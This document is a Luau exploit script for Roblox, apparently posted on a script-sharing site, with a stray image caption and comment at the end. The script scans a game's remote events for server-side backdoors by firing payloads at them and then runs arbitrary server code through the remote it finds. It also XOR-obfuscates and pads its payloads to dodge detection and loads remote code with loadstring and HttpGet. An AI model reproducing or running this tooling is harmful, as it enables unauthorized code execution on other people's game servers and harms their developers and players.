
Key Required VerifiedUniversal

-- services
local httpService = game:GetService("HttpService")
local insertService = game:GetService("InsertService")
local logService = game:GetService("LogService")
local runService = game:GetService("RunService")
local starterGui = game:GetService("StarterGui")
-- imports
local base91 = loadstring(game:HttpGet("https://raw.githubusercontent.com/Dekkonot/base91-luau/main/src/init.lua"))()
-- variables
local config
local executorAPI
local debugSource = [[local function main() %s end;local a=table.create(512)local b=function(...)local c={...}for d,e in pairs(c)do c[d]=tostring(e)or"nil"end;return c end;local f,g;do local h=getfenv()local i,j=print,warn;h.print,h.warn=function(...)table.insert(a,{0,workspace:GetServerTimeNow(),select("#",...),b(...)})end,function(...)table.insert(a,{1,workspace:GetServerTimeNow(),select("#",...),b(...)})end;f,g=pcall(setfenv(main,h))h.print,h.warn=i,j end;local k=Instance.new("BoolValue")k.Name,k.Value,k.Parent="%s",f,game:GetService("InsertService")k:SetAttribute("stderr",not f and g or nil)k:SetAttribute("stdout",#a>0 and game:GetService("HttpService"):JSONEncode(a)or nil)task.delay(60,k.Destroy,k)]]
local sourcePayload = [[local a,b,c,d=game:GetService("LogService"),game.SetAttribute,task.delay,"%s";b(a,d,"%s");c(5,b,a,d,nil)]]
local stringList = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890!#$%&()*+,./:;<=>?@[]^_`{|}~'"
local payloadList = table.create(20)
local CONSTANTS = {
CONFIG_URL = "https://raw.githubusercontent.com/jLn0n/beckdeer-skenner/main/src/default-config.lua",
FOLDER_NAME = "beckdeer-skenner"
}
local remoteInfo = {
["foundBackdoor"] = false,
["instance"] = nil,
["args"] = {"source"},
["argSrcIndex"] = 1,
["srcFunc"] = nil,
["redirection"] = {
["__testver"] = false, -- using the test version might not always work, use with caution
["initialized"] = false,
}
}
local msgOutputs = {
["mainTabText"] = "--[[\n\t@cqwe5qwe5 beckdeer execeeter loaded!\n\tUsing 'github.com/jLn0n/executor-gui' for interface.\n\n\tDocumentation: github.com/jLn0n/beckdeer-skenner/blob/main/README.MD\n\tCommunity server: https://discord.gg/jvb7XNzNPN \n--]]\n",
["attached"] = "\n Attached Remote: %s\n Type: %s\n Payload: %s",
["cacheLoaded"] = "Place cache of [%s] has been loaded.",
["printRemote"] = "\n Remote: %s | [%s]\n Type: %s",
["scanMsg1"] = "Remote scanning has been started.",
["scanMsg2"] = "You could see the remotes being scanned in the Developer Console if config.enableLogging is set to true.",
["scanBenchmark"] = "Took %.2f second(s) to scan remotes.",
["cacheFailed"] = "Failed to load the backdoor cache of [%s], it might be outdated.",
["outdatedConfig"] = "The configuration file is outdated!\nIt is recommended to update the configuration to prevent errors.",
["configLoadFailed"] = "Local configuration failed to load, it might be corrupted.",
["noBackdoorRemote"] = "No backdoored remote(s) can be found here!",
["remoteRedirectLoadFailed"] = "Remote redirection failed to load, using original remote.",
}
local msgBoxParams = {
["DiscordInvitePrompt"] = {
Title = "Discord Invite Prompt",
TextContent = "Would you like to join our discord community server?",
ButtonCount = 2,
},
["DiscordInviteCopied"] = {
Title = "Discord Invite Prompt",
TextContent = "Copied discord server invite URL.",
ButtonCount = 1,
Button0Text = "OK"
}
}
local stringifiedTypes = {
EnumItem = function(value)
return string.format("Enum.%s.%s", value.EnumType, value.Name)
end,
CFrame = function(value)
return string.format("CFrame.new(%s)", tostring(value))
end,
Vector3 = function(value)
return string.format("Vector3.new(%s)", tostring(value))
end,
BrickColor = function(value)
return string.format("BrickColor.new(\"%s\")", value.Name)
end,
Color3 = function(value)
return string.format("Color3.new(%s)", tostring(value))
end,
string = function(value)
return `"{value}"`
end,
number = function(value)
return string.format("%2.f", value)
end,
Ray = function(value)
return string.format("Ray.new(Vector3.new(%s), Vector3.new(%s))", tostring(value.Origin), tostring(value.Direction))
end
}
-- functions
local get_thread_identity = (syn and syn.get_thread_identity) or getthreadidentity
local set_thread_identity = (syn and syn.set_thread_identity) or setthreadidentity
local _getDebugIdFunc = clonefunction(game.GetDebugId)
local function getDebugId(instanceObj)
local oldThreadIdentity = get_thread_identity()
set_thread_identity(7)
local debugId = _getDebugIdFunc(instanceObj)
set_thread_identity(oldThreadIdentity)
return debugId
end
local function newNotification(msgText)
return starterGui:SetCore("SendNotification", {
Title = "[@cqwe5qwe5 beckdeer skenner]",
Text = msgText,
Duration = (5 + (#msgText / 80))
})
end
local function logToConsole(logType: "print" | "warn", ...)
if not config.enableLogging then return end
local logFunc = (
if logType == "print" then
print
elseif logType == "warn" then
warn
else print
)
return logFunc(...)
end
local function getFullNameOf(object)
if not object then return end
local currentInstance = object
local result = ""
while currentInstance ~= game do
local currentName = (if currentInstance then currentInstance.Name else nil)
if not currentName then break end
local concatenatedStr = (
if (not string.match(currentName, "^[%w_]+$")) then
`["{currentName}"]`
else `.{currentName}`
)
result = concatenatedStr .. result
currentInstance = currentInstance.Parent
end
result = string.sub(result, 2)
return result
end
local function pathToInstance(strPath)
if not strPath then return end
local subPaths do
subPaths = table.create(0)
for matchedStr in string.gmatch(strPath, "[^%.]+") do -- TODO: handle ServerScriptService[\"Test 1\"][\"Test 2\"]
local subPath1 = string.gsub(matchedStr, "(.+)%[\"(.-)\"%]", "%1")
local subPath2 = string.gsub(matchedStr, "(.+)%[\"(.-)\"%]", "%2")
table.insert(subPaths, subPath1)
if (subPath1 == subPath2 and matchedStr == subPath1) then continue end
table.insert(subPaths, subPath2)
end
end
local result = game
for _, pathName in subPaths do
if not result then return end
result = result:WaitForChild(pathName, 1)
end
return result
end
local function mergeArray(t1, t2)
t1 = table.clone(t1)
for index, value in t2 do
value = (if typeof(value) == "table" then table.clone(value) else value)
table.insert(t1, value)
end
return t1
end
local function generateRandString(lenght, lettersOnly)
local result = ""
local strTotalLenght = (if lettersOnly then 52 else #stringList)
for _ = 1, lenght do
local randInteger = math.random(1, strTotalLenght)
result ..= string.sub(stringList, randInteger, randInteger)
end
return result
end
local function notSameRandNumber(min, max, ...)
local numIndexes = {...}
local randNumber = math.random(min, max)
task.defer(table.clear, numIndexes) -- optimization!?!!?
return (
if not table.find(numIndexes, randNumber) then
randNumber
else notSameRandNumber(min, max, ...)
)
end
local function waitUntil(waitTime, condition)
local startTime = os.clock()
repeat runService.Heartbeat:Wait() until condition() or (os.clock() - startTime) > waitTime
end
local function isRemoteAllowed(object)
if not (typeof(object) == "Instance" and (object:IsA("RemoteEvent") or object:IsA("RemoteFunction"))) then
return false
end
for filterName, filterFunc in config.remoteFilters do
if filterFunc and not filterFunc(object) then continue end
return false
end
return true
end
local function getRemotes()
local remotes = table.create(128)
local instancesList = mergeArray(
game:GetDescendants(),
(if getinstances then getinstances() else {})
)
for _, object in instancesList do
if not isRemoteAllowed(object) then continue end
local remoteObjId = getDebugId(object)
remotes[remoteObjId] = object
end
return remotes
end
local function getStringifiedType(value)
local stringifier = stringifiedTypes[typeof(value)]
return (
if stringifier then
stringifier(value)
else tostring(value)
)
end
local function applyMacros(source)
for macroName, macroValue in config.scriptMacros do
macroValue = getStringifiedType(
if typeof(macroValue) == "function" then
macroValue(macroValue)
else macroValue
)
source = string.gsub(source, `%%{macroName}%%`, macroValue)
end
return source
end
local function getRemoteFunc(remoteObj)
return (
if remoteObj:IsA("RemoteEvent") then
remoteObj.FireServer
elseif remoteObj:IsA("RemoteFunction") then
remoteObj.InvokeServer
else nil
)
end
local applyRedirectedRemoteSecurity do
local userId = game:GetService("Players").LocalPlayer.UserId
-- simple XOR encryption algorithm, nothing special
local function XORSource(source: string, key: number): string
local randomObj = Random.new(key)
local result = ""
local randX, randY, randZ =
randomObj:NextInteger(0, 128),
randomObj:NextInteger(0, 96),
randomObj:NextInteger(0, 32)
for idx = 1, #source do
local charByte = string.byte(source, idx, idx)
local offset = ((idx % randomObj:NextInteger(0, randX)) + randomObj:NextInteger(0, randY))
charByte = bit32.bxor(offset, charByte, randomObj:NextInteger(0, randZ))
result ..= string.char(charByte)
end
result = string.gsub(result, ".", function(value) return string.format("%02X", string.byte(value)) end)
return result
end
function applyRedirectedRemoteSecurity(source)
if not config.redirectRemote then return end
local argsLenght = math.random(12, 32)
local generatedArgs = table.create(argsLenght)
local verificationIdx = math.random(4, (argsLenght - 1))
local srcArgIdx = notSameRandNumber(2, (argsLenght - 2), verificationIdx)
local randIdx = notSameRandNumber(2, (argsLenght - 3), srcArgIdx, verificationIdx)
local nonceIdx = notSameRandNumber(2, (argsLenght - 3), srcArgIdx, verificationIdx, randIdx)
local nonceOffset = Random.new((argsLenght / verificationIdx) % (verificationIdx * 2)):NextInteger(8, argsLenght)
local XORKey = math.ceil(((((argsLenght / randIdx) % verificationIdx) * nonceIdx) * (userId * srcArgIdx)) * nonceOffset)
generatedArgs[1] = (
if (math.random(1, 2) == 2) then
generateRandString(verificationIdx)
else verificationIdx
)
generatedArgs[verificationIdx] = true -- sets a boolean at idx `verificationIdx`
generatedArgs[srcArgIdx] = base91.encodeString(XORSource(source, XORKey))
generatedArgs[randIdx] = srcArgIdx -- sets the value `srcArgIdx` to `randIdx`
generatedArgs[nonceIdx] = `\127@{generateRandString(randIdx + nonceOffset)}` -- generates a nonce that is the lenght of `randIdx`
for argIndex = 2, argsLenght do -- inserts random jibberish
if typeof(generatedArgs[argIndex]) ~= "nil" then continue end
local valueType = math.random(1, 3)
generatedArgs[argIndex] = (
if valueType == 1 then
generateRandString(math.random(12, 512))
elseif valueType == 2 then
math.random(0, 0x7fffffff)
elseif valueType == 3 then
math.random(1, 10) > 5
else nil
)
end
return generatedArgs
end
end
local function execScript(source, noRedirectOutput)
if not remoteInfo.foundBackdoor then return end
source = applyMacros(source)
local remoteFunc = getRemoteFunc(remoteInfo.instance)
local remoteArgs = table.clone(remoteInfo.args)
if (config.redirectOutput and not noRedirectOutput) then
local nonce = generateRandString(32)
source = string.format(debugSource, source, nonce)
local connection
connection = insertService.ChildAdded:Connect(function(object)
if object.Name ~= nonce then return end connection:Disconnect()
local rawStdout = object:GetAttribute("stdout")
local jsonConverted, stdout = pcall(httpService.JSONDecode, httpService, rawStdout)
if jsonConverted then
for _, output in stdout do
local outputType, timestamp = (
if output[1] == 0 then
Enum.MessageType.MessageOutput
elseif output[1] == 1 then
Enum.MessageType.MessageWarning
else nil
), output[2]
local outputMsg = ""
for index = 1, output[3] do
outputMsg ..= `{tostring(output[4][index]) or nil} `
end
executorAPI.console.createOutput(outputMsg, outputType, timestamp)
end
end
if not object.Value then
executorAPI.console.createOutput(object:GetAttribute("stderr") or "Error occured, no output from Lua.", Enum.MessageType.MessageError)
end
end)
task.delay(60, connection.Disconnect, connection)
end
if (config.redirectRemote and remoteInfo.redirection.initialized) then
remoteArgs = applyRedirectedRemoteSecurity(source)
else
source = (if remoteInfo.srcFunc then remoteInfo.srcFunc(source) else source)
remoteArgs[remoteInfo.argSrcIndex] = source
end
task.spawn(remoteFunc, remoteInfo.instance, unpack(remoteArgs))
end
local function initializeRemoteInfo(params, overwriteRemoteInfo)
if (remoteInfo.foundBackdoor and not overwriteRemoteInfo) then return end
remoteInfo.foundBackdoor = true
for name, value in params do
remoteInfo[name] = value
end
end
local function initRemoteRedirection()
if not (remoteInfo.foundBackdoor and (config.redirectRemote and not remoteInfo.redirection.initialized)) then return false end
local nonce = generateRandString(32, true)
execScript(`require({if remoteInfo.redirection.__testver then 11906414795 else 11906423264})("{nonce}", %userid%)`, true) -- if you wanna try out new features, set 'remoteInfo.redirection.__testver' to true
waitUntil(5, function() return insertService:GetAttribute(nonce) end) -- we need to improvise until :WaitForAttribute is added
local redirectedRemotePath = insertService:GetAttribute(nonce)
if not redirectedRemotePath then return newNotification(msgOutputs.remoteRedirectLoadFailed) end
local redirectedRemote = pathToInstance(redirectedRemotePath)
if redirectedRemote and
redirectedRemote:IsA("RemoteEvent") and
redirectedRemote:GetAttribute("isNonced")
then
remoteInfo.redirection.initialized = true
initializeRemoteInfo({
["instance"] = redirectedRemote,
["args"] = {"source"},
["argSrcIndex"] = 1
}, true)
insertService:GetAttributeChangedSignal(nonce):Connect(function()
local newPath = insertService:GetAttribute(nonce)
if not newPath then return end
local newRemote = pathToInstance(newPath)
if newRemote and
newRemote:IsA("RemoteEvent") and
newRemote:GetAttribute("isNonced")
then
remoteInfo.instance = newRemote
end
end)
return true
else
newNotification(msgOutputs.remoteRedirectLoadFailed)
return false
end
end
local function initializeDiscordInvite(inviteCode: string)
if config.__STOPINVITEPROMPT then return end
local http_request = (syn and syn.request) or (http and http.request) or request or http_request
local msgBoxResult = executorAPI.misc.newMessageBox("Default", msgBoxParams.DiscordInvitePrompt)
if msgBoxResult.ClickedButton == 0 then
local promptRequest = (
if http_request then
http_request({
Url = "http://127.0.0.1:6463/rpc?v=1",
Method = "POST",
Headers = {
["Content-Type"] = "application/json",
["Origin"] = "https://discord.com"
},
Body = httpService:JSONEncode({
["args"] = {["code"] = inviteCode},
["cmd"] = "INVITE_BROWSER",
["nonce"] = httpService:GenerateGUID()
})
})
else nil
)
if not promptRequest or (promptRequest.StatusCode ~= 200 or httpService:JSONDecode(promptRequest.Body).data.code == 4011) then
setclipboard(`https://discord.gg/{inviteCode}`)
executorAPI.misc.newMessageBox("Default", msgBoxParams.DiscordInviteCopied)
return
end
end
end
local function onAttached(remoteInfoParams)
if (remoteInfo.foundBackdoor and remoteInfo.instance) then return end
initializeRemoteInfo(remoteInfoParams)
newNotification("Attached!")
logToConsole("warn", string.format(msgOutputs.attached, getFullNameOf(remoteInfoParams.instance), remoteInfoParams.instance.ClassName, remoteInfoParams.payloadName or "nil"))
initRemoteRedirection()
executorAPI = loadstring(game:HttpGet("https://raw.githubusercontent.com/jLn0n/executor-gui/main/src/loader.lua"))({
mainTabText = msgOutputs.mainTabText,
customExecution = true,
executeFunc = function(source) return execScript(source) end,
})
task.spawn(initializeDiscordInvite, "jvb7XNzNPN")
for _, scriptSrc in config.autoExec do
execScript(scriptSrc)
end
end
local function testRemote(nonce, remoteObj, remoteObjId)
local remoteObjFunc = getRemoteFunc(remoteObj)
for payloadIndex, payloadInfo in payloadList do runService.Heartbeat:Wait()
local remotePassed = (if payloadInfo.Verifier then payloadInfo.Verifier(remoteObj) else true)
if (not remotePassed or not payloadInfo.Args) then continue end
local currentPayload = table.clone(payloadInfo.Args)
local argSrcIdx = table.find(currentPayload, "source")
if not argSrcIdx then continue end
currentPayload[argSrcIdx] = string.format(sourcePayload, nonce, `{remoteObjId}|{payloadInfo.Name}`)
pcall(task.spawn, remoteObjFunc, remoteObj, unpack(currentPayload))
end
end
local function scanBackdoors()
if remoteInfo.foundBackdoor then return end
local remotesList = getRemotes()
local nonce = generateRandString(32, true)
local connection;
connection = logService.AttributeChanged:Connect(function(attributeName)
if attributeName ~= nonce then return end connection:Disconnect()
local remoteResult = string.split(logService:GetAttribute(nonce), "|")
local remoteObj = remotesList[remoteResult[1]]
local payloadInfo = config.backdoorPayloads[remoteResult[2]]
task.spawn(onAttached, {
["instance"] = remoteObj,
["args"] = payloadInfo.Args,
["argSrcIndex"] = table.find(payloadInfo.Args, "source"),
["payloadName"] = remoteResult[2]
})
end)
for remoteObjId, remoteObj in remotesList do runService.Heartbeat:Wait()
if remoteInfo.foundBackdoor then break end
logToConsole("print", string.format(msgOutputs.printRemote, getFullNameOf(remoteObj), remoteObjId, remoteObj.ClassName))
testRemote(nonce, remoteObj, remoteObjId)
end
waitUntil(2.5, function() return not connection.Connected end)
task.defer(connection.Disconnect, connection)
end
-- main
do -- config initialization
if not isfolder(CONSTANTS.FOLDER_NAME) then
makefolder(CONSTANTS.FOLDER_NAME)
end
local rawConfigFile = (
if isfile(`{CONSTANTS.FOLDER_NAME}/config.lua`) then
readfile(`{CONSTANTS.FOLDER_NAME}/config.lua`)
else game:HttpGet(CONSTANTS.CONFIG_URL)
)
local loadSuccess, loadedConfig do
loadSuccess, loadedConfig = pcall(loadstring(rawConfigFile))
if (not loadSuccess) then
newNotification(msgOutputs.configLoadFailed)
rawConfigFile = game:HttpGet(CONSTANTS.CONFIG_URL)
loadedConfig = loadstring(rawConfigFile)()
end
end
local successCount = 0
successCount += (if typeof(loadedConfig.autoExec) == "table" then 1 else 0)
successCount += (if typeof(loadedConfig.remoteFilters) == "table" then 1 else 0)
successCount += (if typeof(loadedConfig.scriptMacros) == "table" then 1 else 0)
successCount += (if typeof(loadedConfig.backdoorPayloads) == "table" then 1 else 0)
successCount += (if typeof(loadedConfig.cachedPlaces) == "table" then 1 else 0)
if (loadedConfig.configVer < 9 or successCount < 5) then newNotification(msgOutputs.outdatedConfig) end
config = loadedConfig
for payloadName, payloadInfo in config.backdoorPayloads do
local payloadInfoClone = table.clone(payloadInfo)
payloadInfoClone.Name = payloadName
table.insert(payloadList, payloadInfoClone)
end
table.sort(payloadList, function(tbl1, tbl2)
local tbl1Priority, tbl2Priority =
math.clamp((tbl1.Priority or 1024), 1, 1024), math.clamp((tbl2.Priority or 1024), 1, 1024)
return tbl1Priority < tbl2Priority
end)
end
do -- backdoor finding
local placeCacheData = config.cachedPlaces[game.PlaceId]
if placeCacheData then
local successCount = 0
local remoteObj = (if typeof(placeCacheData.Remote) == "string" then pathToInstance(placeCacheData.Remote) else placeCacheData.Remote)
local argSrcIndex = (if typeof(placeCacheData.Args) == "table" then table.find(placeCacheData.Args, "source") else nil)
successCount += (if (typeof(remoteObj) == "Instance" and (remoteObj:IsA("RemoteEvent") or remoteObj:IsA("RemoteFunction"))) then 1 else 0)
successCount += (if typeof(argSrcIndex) == "number" then 1 else 0)
if successCount >= 2 then
newNotification(string.format(msgOutputs.cacheLoaded, game.PlaceId))
onAttached({
["instance"] = remoteObj,
["srcFunc"] = placeCacheData.SourceFunc,
["args"] = placeCacheData.Args,
["argSrcIndex"] = argSrcIndex
})
else
newNotification(string.format(msgOutputs.cacheFailed, game.PlaceId))
end
else
local startTime = os.clock()
newNotification(msgOutputs.scanMsg1);newNotification(msgOutputs.scanMsg2)
scanBackdoors()
newNotification(string.format(msgOutputs.scanBenchmark, os.clock() - startTime))
if not remoteInfo.foundBackdoor then -- if no backdoor found
logToConsole("warn", msgOutputs.noBackdoorRemote)
newNotification(msgOutputs.noBackdoorRemote)
end
end
end

![Noob Avatar in Nds [OPEN SOURCE]](https://scriptblox.com/images/sb/rbx-7ea7065a02f8cff80f8b0270a9ad2d3b-0820ff9b1f88.png)

learn how to *ing spell